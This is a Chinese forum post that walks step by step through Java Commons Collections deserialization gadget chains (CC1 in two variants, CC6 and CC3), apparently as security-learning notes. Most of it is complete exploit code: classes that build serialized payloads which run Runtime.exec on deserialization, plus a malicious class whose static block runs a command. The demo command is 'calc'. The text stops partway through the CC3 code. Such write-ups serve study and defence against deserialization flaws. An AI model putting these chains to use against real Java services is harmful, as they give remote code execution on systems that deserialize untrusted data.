麻花痒 发表于 2024-5-14 21:01:20

Java CC链全分析

CC链全称CommonsCollections(Java常用的一个库)https://img2024.cnblogs.com/blog/2746479/202403/2746479-20240317132625463-527074782.png#id=yrfpB&originHeight=352&originWidth=1215&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=
梦的开始CC1

情况摆设

JDK版本:jdk8u65
Maven依赖:
<dependencies>
      
      <dependency>
            <groupId>junit</groupId>
            <artifactId>junit</artifactId>
            <version>4.11</version>
            <scope>test</scope>
      </dependency>

      
      <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
      </dependency>
</dependencies>流程分析

入口:org.apache.commons.collections.Transformer,transform方法有21种实现
https://img2024.cnblogs.com/blog/2746479/202403/2746479-20240317123103502-1592214328.png#id=TcbD9&originHeight=444&originWidth=1132&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=
入口类:org.apache.commons.collections.functors.InvokerTransformer,它的transform方法使用了反射来调用input的方法,input,iMethodName,iParamTypes,iArgs都是可控的
https://img2024.cnblogs.com/blog/2746479/202403/2746479-20240317123343665-249443003.png#id=Ohzsf&originHeight=629&originWidth=1696&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=
首先先尝试直接使用invoketransformer来实行命令
package com.f12;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class CC1 {
    public static void main(String[] args) {
      new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(Runtime.getRuntime());
    }
}成功实行命令
https://img2024.cnblogs.com/blog/2746479/202403/2746479-20240317123930295-503910056.png#height=287&id=R5CyX&originHeight=738&originWidth=1781&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=692.7142944335938
现在的重点就是去找一个别的的类有transform方法,并且传入的Object是可控的,然后我们只要把这个Object设为InvokeTransformer即可,我们全局搜刮transform方法,能够发现很多类都是有transform方法的,我们这里先研究的是CC1,所以我们直接看TransformerMap类https://img2024.cnblogs.com/blog/2746479/202403/2746479-20240317131359500-293593561.png#height=278&id=toZwZ&originHeight=520&originWidth=1215&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=648.7142944335938
在TransformedMap中的checkSetValue方法中调用了transform,valueTransformer是构造的时候赋的值,再看构造函数
https://img2024.cnblogs.com/blog/2746479/202403/2746479-20240317131336648-1381366614.png#height=138&id=XabY8&originHeight=302&originWidth=1370&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=626.7142944335938
构造函数是一个protected,所以不能让我们直接实例赋值,只能是类内部构造赋值,找那里调用了构造函数https://img2024.cnblogs.com/blog/2746479/202403/2746479-20240317131323366-1097689382.png#height=115&id=hyKmX&originHeight=257&originWidth=1422&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=635.7142944335938
一个静态方法,这里我们就能控制参数了https://img2024.cnblogs.com/blog/2746479/202403/2746479-20240317131307908-1379362716.png#height=88&id=XEzUB&originHeight=201&originWidth=1470&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=640.7142944335938
现在调用transform方法的问题办理了,返回去看checkSetValue,可以看到value我们临时不能控制,全局搜刮checkSetValue,看谁调用了它,并且value值可受控制,在AbstractInputCheckedMapDecorator类中发现,凑巧的是,它刚好是TransformedMap的父类https://img2024.cnblogs.com/blog/2746479/202403/2746479-20240317131252214-1688332134.png#height=294&id=aWJpW&originHeight=764&originWidth=1285&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=493.71429443359375
https://img2024.cnblogs.com/blog/2746479/202403/2746479-20240317131234259-1431430229.png#height=155&id=exNOD&originHeight=241&originWidth=797&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=511.71429443359375
在这里如果对Java聚集认识一点的人看到了setValue字样就应该想起来,我们在遍历聚集的时候就用过setValue和getValue,所以我们只要对decorate这个map举行遍历setValue,由于TransformedMap继承了AbstractInputCheckedMapDecorator类,因此当调用setValue时会去父类探求,写一个demo来测试一下:
package com.f12;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class CC1 {
    public static void main(String[] args) {
      Runtime r = Runtime.getRuntime();
      InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
      HashMap<Object, Object> map = new HashMap<>();
      map.put("1","2");
      Map<Object, Object> decorate = TransformedMap.decorate(map, null, invokerTransformer);
      for(Map.Entry entry:decorate.entrySet()){
            entry.setValue(r);
      }
    }
}成了
https://img2024.cnblogs.com/blog/2746479/202403/2746479-20240317131218611-149153179.png#height=340&id=Ov3Jr&originHeight=958&originWidth=1754&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=622.7142944335938
我们追踪一下setValue看是在哪调用的,在AnnotationInvocationHandler中找到,而且还是在重写的readObject中调用的setValue,这还省去了再去找readObject
private void readObject(java.io.ObjectInputStream s)
      throws java.io.IOException, ClassNotFoundException {
      s.defaultReadObject();

      // Check to make sure that types have not evolved incompatibly

      AnnotationType annotationType = null;
      try {
            annotationType = AnnotationType.getInstance(type);
      } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
      }

      Map<String, Class<?>> memberTypes = annotationType.memberTypes();

      // If there are annotation members without values, that
      // situation is handled by the invoke method.
      for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {// i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                  memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                              annotationType.members().get(name)));
                }
            }
      }
    }
}我们分析下AnnotationInvocationHandler这个类,未用public声明,说明只能通过反射调用
https://img2024.cnblogs.com/blog/2746479/202403/2746479-20240317132625463-527074782.png#height=178&id=LuWaD&originHeight=352&originWidth=1215&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=613.7142944335938
查看一下构造方法,传入一个Class和Map,其中Class继承了Annotation,也就是需要传入一个注解类进去,这里我们选择Target,之后说为什么
https://img2024.cnblogs.com/blog/2746479/202403/2746479-20240317132734077-415896802.png#height=172&id=vMc9S&originHeight=468&originWidth=1493&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=547.7142944335938
构造exp:
package com.f12;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
      Runtime r = Runtime.getRuntime();
      InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
      HashMap<Object, Object> map = new HashMap<>();
      map.put("1","2");
      Map<Object, Object> decorate = TransformedMap.decorate(map, null, invokerTransformer);
//      for(Map.Entry entry:decorate.entrySet()){
//            entry.setValue(r);
//      }
      Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
      Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
      constructor.setAccessible(true);
      Object o = constructor.newInstance(Target.class, decorate);
    }
}现在有个困难是Runtime类是不能被序列化的,但是反射来的类是可以被序列化的,还好InvokeTransformer有一个绝佳的反射机制,构造一下:
Method RuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(RuntimeMethod);
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});现在还有个小问题,其中我们的transformedmap是传入了一个invokertransformer,但是现在这个对象没有了,被拆成了多个,就是上述四段代码,得想个办法统合起来,这里就回到最初的Transformer接口里去探求,找到ChainedTransformer,刚好这个方法是递归调用数组里的transform方法
https://img2024.cnblogs.com/blog/2746479/202403/2746479-20240317150141061-189030560.png#height=343&id=rHT9v&originHeight=620&originWidth=929&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=513.7142944335938
我们就可以这样构造:
Transformer[] transformers = new Transformer[]{
    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("1","2");
Map<Object, Object> decorate = TransformedMap.decorate(map, null, chainedTransformer);到这一步雏形以及可以构造出来了
package com.f12;

import com.sun.xml.internal.ws.encoding.MtomCodec;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
    public static void serialize(Object obj) throws IOException {
      FileOutputStream fos = new FileOutputStream("cc1.bin");
      ObjectOutputStream oos = new ObjectOutputStream(fos);
      oos.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
      FileInputStream fis = new FileInputStream(filename);
      ObjectInputStream ois = new ObjectInputStream(fis);
      ois.readObject();
    }

    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
      Transformer[] transformers = new Transformer[]{
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
      };
      ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
      HashMap<Object, Object> map = new HashMap<>();
      map.put("1","2");
      Map<Object, Object> decorate = TransformedMap.decorate(map, null, chainedTransformer);
      Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
      Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
      constructor.setAccessible(true);
      Object o = constructor.newInstance(Target.class, decorate);
      serialize(o);
      deserialize("cc1.bin");
    }
}但是这里反序列化并不能实行命令,why?原因在于AnnotationInvocationHandler里触发setValue是有条件的,我们调试追踪进去看看:
https://img2024.cnblogs.com/blog/2746479/202403/2746479-20240317151617270-1725057277.png#height=298&id=gtUSu&originHeight=640&originWidth=1240&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=576.7142944335938
要想触发setValue得先过两个if判断,先看第一个if判断,memberType不能为null,memberType实在就是我们之前传入的注解类Target的一个属性,这个属性那里来的?就是我们最先传入的mapmap.put("1","2")
获取这个name:1,获取1这个属性,很明显我们的Target注解类是没有1这个属性的,我们看一下Target类
https://img2024.cnblogs.com/blog/2746479/202403/2746479-20240317152307687-304994966.png#height=185&id=NcWHJ&originHeight=310&originWidth=963&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=574.7142944335938
Target是有value这个属性的,所以我们改一下map,map.put("value", 1),这样就过了第一个if,接着往下看第二个if,这里value只要有值就过了,成功到达setValue,但这里还有末了一个问题,如何让他调用Runtime.class?这里又得提到一个类,ConstantTransformer,这个类的特点就是我们传入啥,它直接就返回啥https://img2024.cnblogs.com/blog/2746479/202403/2746479-20240317152909980-258161973.png#id=T9TMr&originHeight=144&originWidth=889&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=
这样就能构造终极的exp:
package com.f12;

import com.sun.xml.internal.ws.encoding.MtomCodec;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
    public static void serialize(Object obj) throws IOException {
      FileOutputStream fos = new FileOutputStream("cc1.bin");
      ObjectOutputStream oos = new ObjectOutputStream(fos);
      oos.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
      FileInputStream fis = new FileInputStream(filename);
      ObjectInputStream ois = new ObjectInputStream(fis);
      ois.readObject();
    }

    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
      Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
      };
      ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
      HashMap<Object, Object> map = new HashMap<>();
      map.put("value","1");
      Map<Object, Object> decorate = TransformedMap.decorate(map, null, chainedTransformer);
      Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
      Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
      constructor.setAccessible(true);
      Object o = constructor.newInstance(Target.class, decorate);
      serialize(o);
      deserialize("cc1.bin");
    }
}成功实行
https://img2024.cnblogs.com/blog/2746479/202403/2746479-20240317153259710-1691064508.png#height=313&id=CBsPJ&originHeight=1035&originWidth=1700&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=514.7142944335938
以上是其中一条CC1,还有另一条CC1,是从LazyMap入手,我们也来分析一下,在LazyMap的get方法里调用了transform
https://img2024.cnblogs.com/blog/2746479/202403/2746479-20240317153926277-1975828219.png#height=198&id=oAsVZ&originHeight=420&originWidth=1095&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=516.7142944335938
看构造方法,factory需要我们控制,同样在类内部找那里调用了这个构造方法
https://img2024.cnblogs.com/blog/2746479/202403/2746479-20240317154053120-324536523.png#height=154&id=CrV6z&originHeight=313&originWidth=1059&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=519.7142944335938
很明显,跟之前根本相似,就是从checkValue换到了get
https://img2024.cnblogs.com/blog/2746479/202403/2746479-20240317154205132-1365630152.png#height=47&id=IkuQe&originHeight=133&originWidth=1519&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=531.7142944335938
那么get在哪调用的,还是在AnnotationInvocationHandler,它的invoke方法调用了get
public Object invoke(Object proxy, Method method, Object[] args) {
      String member = method.getName();
      Class<?>[] paramTypes = method.getParameterTypes();

      // Handle Object and Annotation methods
      if (member.equals("equals") && paramTypes.length == 1 &&
            paramTypes == Object.class)
            return equalsImpl(args);
      if (paramTypes.length != 0)
            throw new AssertionError("Too many parameters for an annotation method");

      switch(member) {
      case "toString":
            return toStringImpl();
      case "hashCode":
            return hashCodeImpl();
      case "annotationType":
            return type;
      }

      // Handle annotation member accessors
      Object result = memberValues.get(member);

      if (result == null)
            throw new IncompleteAnnotationException(type, member);

      if (result instanceof ExceptionProxy)
            throw ((ExceptionProxy) result).generateException();

      if (result.getClass().isArray() && Array.getLength(result) != 0)
            result = cloneArray(result);

      return result;
    }这里是个动态署理,我们可以用AnnotationInvocationHandler来署理LazyMap,这样就会触发invoke方法,构造一下exp(根本大差不差):
package com.f12;

import com.sun.xml.internal.ws.encoding.MtomCodec;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
public class CC1_LazyMap {
    public static void serialize(Object obj) throws IOException {
      FileOutputStream fos = new FileOutputStream("cc1_lazymap.bin");
      ObjectOutputStream oos = new ObjectOutputStream(fos);
      oos.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
      FileInputStream fis = new FileInputStream(filename);
      ObjectInputStream ois = new ObjectInputStream(fis);
      ois.readObject();
    }

    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
      Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
      };
      ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
      HashMap<Object, Object> map = new HashMap<>();
      Map<Object, Object> decorate = LazyMap.decorate(map,chainedTransformer);
      Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

      Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
      constructor.setAccessible(true);
      InvocationHandler handler = (InvocationHandler) constructor.newInstance(Target.class, decorate);
      Map newMap = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, handler);
      Object o = constructor.newInstance(Target.class, newMap);
      serialize(o);
      deserialize("cc1_lazymap.bin");
    }
}魂牵梦绕CC6

CC6不受jdk版本限定,算是一条最常用的CC链
这是Ysoserial上的CC6,可以看到后半部门没变,从LazyMap.get开始通过TiedMapEntry.getValue来调用了,我们追踪一下
https://img2024.cnblogs.com/blog/2746479/202403/2746479-20240318190704678-1342115691.png#height=202&id=O2Wq4&originHeight=424&originWidth=1297&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=617.7142944335938
TiedMapEntry.getValue调用了map.get
https://img2024.cnblogs.com/blog/2746479/202403/2746479-20240318191705966-557527206.png#height=141&id=tqfEV&originHeight=218&originWidth=925&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=598.7142944335938
看构造函数,map,key我们都能控制
https://img2024.cnblogs.com/blog/2746479/202403/2746479-20240318191808286-1264435201.png#height=199&id=DJ7IO&originHeight=254&originWidth=708&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=554.0000610351562
找getValue方法在哪调用,TiedMapEntry自身的hashCode方法调用了,看到这个hashCode是不是很眼熟,没错,我们研究URLDNS的时候就是用到这里,那么显而易见,我们前面的就是HashMap了
https://img2024.cnblogs.com/blog/2746479/202403/2746479-20240318191914987-1240083645.png#height=161&id=o6mGL&originHeight=260&originWidth=898&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=557.7142944335938
构造exp,注意这里跟URLDNS有雷同的问题,hashMap.put的时候就触发了hash方法也同时调用了hashCode,所以直接就实行命令了,还是同样的手法将某些值改一下就行了
package com.f12;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
    public static void serialize(Object obj) throws IOException {
      FileOutputStream fos = new FileOutputStream("cc6.bin");
      ObjectOutputStream oos = new ObjectOutputStream(fos);
      oos.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
      FileInputStream fis = new FileInputStream(filename);
      ObjectInputStream ois = new ObjectInputStream(fis);
      ois.readObject();
    }

    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
      Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
      };
      ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
      Map<Object, Object> map = new HashMap<>();
      Map<Object, Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
      TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);
      HashMap<Object, Object> hashMap = new HashMap<>();
      hashMap.put(tiedMapEntry, null);
      Field factory = LazyMap.class.getDeclaredField("factory");
      factory.setAccessible(true);
      factory.set(lazymap, chainedTransformer);
      serialize(hashMap);
      deserialize("cc6.bin");
    }
}但是这里奇怪的是还是没法弹计算器,我们调试一下看看,发现是LazyMap.get这里的问题,这里有一个if判断,我们这个map没有给值,在hashMap.put触发后给put进去一个null的键,第二次触发的之前我们把这个键删掉就行了。
https://img2024.cnblogs.com/blog/2746479/202403/2746479-20240318194623908-1599003997.png#height=233&id=jJcdp&originHeight=397&originWidth=989&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=580.7142944335938
package com.f12;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
    public static void serialize(Object obj) throws IOException {
      FileOutputStream fos = new FileOutputStream("cc6.bin");
      ObjectOutputStream oos = new ObjectOutputStream(fos);
      oos.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
      FileInputStream fis = new FileInputStream(filename);
      ObjectInputStream ois = new ObjectInputStream(fis);
      ois.readObject();
    }

    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
      Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
      };
      ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
      Map<Object, Object> map = new HashMap<>();
      Map<Object, Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
      TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);
      HashMap<Object, Object> hashMap = new HashMap<>();
      hashMap.put(tiedMapEntry, null);
      map.remove(null);
      Field factory = LazyMap.class.getDeclaredField("factory");
      factory.setAccessible(true);
      factory.set(lazymap, chainedTransformer);
      serialize(hashMap);
      deserialize("cc6.bin");
    }
}ok,拿下CC6
有一说一CC3

CC3就跟前两条链不太一样了,CC1与CC6都是实行命令,而CC3是实行静态代码块,CC3采用的是动态加载类,也就是使用了defineClass,我们搜刮哪些类有defineClass,找到这个TemplatesImpl,这玩意锋利的很,以后还有很多地方用到https://img2024.cnblogs.com/blog/2746479/202403/2746479-20240319194930576-438663174.png#id=J49qW&originHeight=184&originWidth=796&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=
继承跟进,在defineTransletClasses方法中调用了defineClass
private void defineTransletClasses()
      throws TransformerConfigurationException {

      if (_bytecodes == null) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
            throw new TransformerConfigurationException(err.toString());
      }

      TransletClassLoader loader = (TransletClassLoader)
            AccessController.doPrivileged(new PrivilegedAction() {
                public Object run() {
                  return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
                }
            });

      try {
            final int classCount = _bytecodes.length;
            _class = new Class;

            if (classCount > 1) {
                _auxClasses = new HashMap<>();
            }

            for (int i = 0; i < classCount; i++) {
                _class = loader.defineClass(_bytecodes);
                final Class superClass = _class.getSuperclass();

                // Check if this is the main class
                if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                  _transletIndex = i;
                }
                else {
                  _auxClasses.put(_class.getName(), _class);
                }
            }

            if (_transletIndex < 0) {
                ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
                throw new TransformerConfigurationException(err.toString());
            }
      }
      catch (ClassFormatError e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
      }
      catch (LinkageError e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
      }
    }这里有几个判断得注意,首先是_bytecodes不能为null,然后就是_tfactory不能为null,不过_tfactory在readObject方法里被赋值了,因此不用管,继承跟进看谁调用了defineTransletClasses,看getTransletInstance,得绕过第一个if判断,所以得反射赋值给__namehttps://img2024.cnblogs.com/blog/2746479/202403/2746479-20240319200746670-2054137115.png#id=T6c2c&originHeight=762&originWidth=1336&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=
继承跟进看谁调用了getTransletInstance,现在根本有一个构造思路了,new 一个TemplateIml对象,然后调用newTransformer方法,从而去defineClasshttps://img2024.cnblogs.com/blog/2746479/202403/2746479-20240319201003071-682966100.png#id=es2SB&originHeight=690&originWidth=1186&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=
由于还没序列化,所以先手动给_tfactory赋值,不过运行后报了个空指针错误
package com.f12;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.xml.transform.Transformer;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class CC3 {
    public static void serialize(Object obj) throws IOException {
      FileOutputStream fos = new FileOutputStream("cc6.bin");
      ObjectOutputStream oos = new ObjectOutputStream(fos);
      oos.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
      FileInputStream fis = new FileInputStream(filename);
      ObjectInputStream ois = new ObjectInputStream(fis);
      ois.readObject();
    }

    public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException {
      TemplatesImpl templates = new TemplatesImpl();
      Field _name = TemplatesImpl.class.getDeclaredField("_name");
      _name.setAccessible(true);
      _name.set(templates, "1");
      Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
      _bytecodes.setAccessible(true);
      byte[] bytes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\CC1\\target\\classes\\com\\f12\\Eval.class"));
      byte[][] code = {bytes};
      _bytecodes.set(templates, code);
      Field _tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
      _tfactory.setAccessible(true);
      _tfactory.set(templates, new TransformerFactoryImpl());
      Transformer transformer = templates.newTransformer();
    }
}package com.f12;

import java.io.IOException;

public class Eval {
    static {
      try {
            Runtime.getRuntime().exec("calc");
      } catch (IOException e) {
            throw new RuntimeException(e);
      }
    }

    public static void main(String[] args) {

    }
}调试发现在这由于if判断没过,导致进去这个空指针错误,继承反射修改ABSTRACT_TRANSLET的值就ok,或则让恶意类Eval继承这个ABSTRACT_TRANSLET所指向的类
https://img2024.cnblogs.com/blog/2746479/202403/2746479-20240319202921954-431287871.png#id=hRlUR&originHeight=389&originWidth=1569&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=
成功弹出计算器
package com.f12;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.xml.transform.Transformer;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class CC3 {
    public static void serialize(Object obj) throws IOException {
      FileOutputStream fos = new FileOutputStream("cc6.bin");
      ObjectOutputStream oos = new ObjectOutputStream(fos);
      oos.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
      FileInputStream fis = new FileInputStream(filename);
      ObjectInputStream ois = new ObjectInputStream(fis);
      ois.readObject();
    }

    public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException {
      TemplatesImpl templates = new TemplatesImpl();
      Field _name = TemplatesImpl.class.getDeclaredField("_name");
      _name.setAccessible(true);
      _name.set(templates, "1");
      Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
      _bytecodes.setAccessible(true);
      byte[] bytes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\CC1\\target\\classes\\com\\f12\\Eval.class"));
      byte[][] code = {bytes};
      _bytecodes.set(templates, code);
      Field _tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
      _tfactory.setAccessible(true);
      _tfactory.set(templates, new TransformerFactoryImpl());
